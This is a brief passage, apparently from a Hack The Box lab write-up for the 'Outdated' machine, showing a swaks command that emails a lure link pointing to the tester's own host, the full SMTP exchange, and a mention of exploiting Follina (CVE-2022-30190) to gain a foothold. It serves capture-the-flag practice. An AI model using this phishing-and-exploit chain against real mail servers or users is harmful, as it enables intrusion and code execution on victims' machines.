Foothold

Test email

adot@pwndot:~/htb/outdated$ swaks --server mail.outdated.htb --to [email protected] --from [email protected] --header 'Subject: Internal Web App' --body "http://10.10.14.18"
=== Trying mail.outdated.htb:25...
=== Connected to mail.outdated.htb.
<-  220 mail.outdated.htb ESMTP
 -> EHLO pwndot
<-  250-mail.outdated.htb
<-  250-SIZE 20480000
<-  250-AUTH LOGIN
<-  250 HELP
 -> MAIL FROM:<[email protected]m>
<-  250 OK
 -> RCPT TO:<[email protected]b>
<-  250 OK
 -> DATA
<-  354 OK, send.
 -> Date: Thu, 27 Feb 2025 07:11:58 -0600
 -> To: [email protected]
 -> From: [email protected]
 -> Subject: Internal Web App
 -> Message-Id: <20250227071158.449184@pwndot>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 ->
 -> http://10.10.14.18
 ->
 ->
 -> .
<-  250 Queued (10.890 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.

We can leverage MS-MSDT "Follina" (CVE-2022-30190)

Compile, upload and run

Last updated

Was this helpful?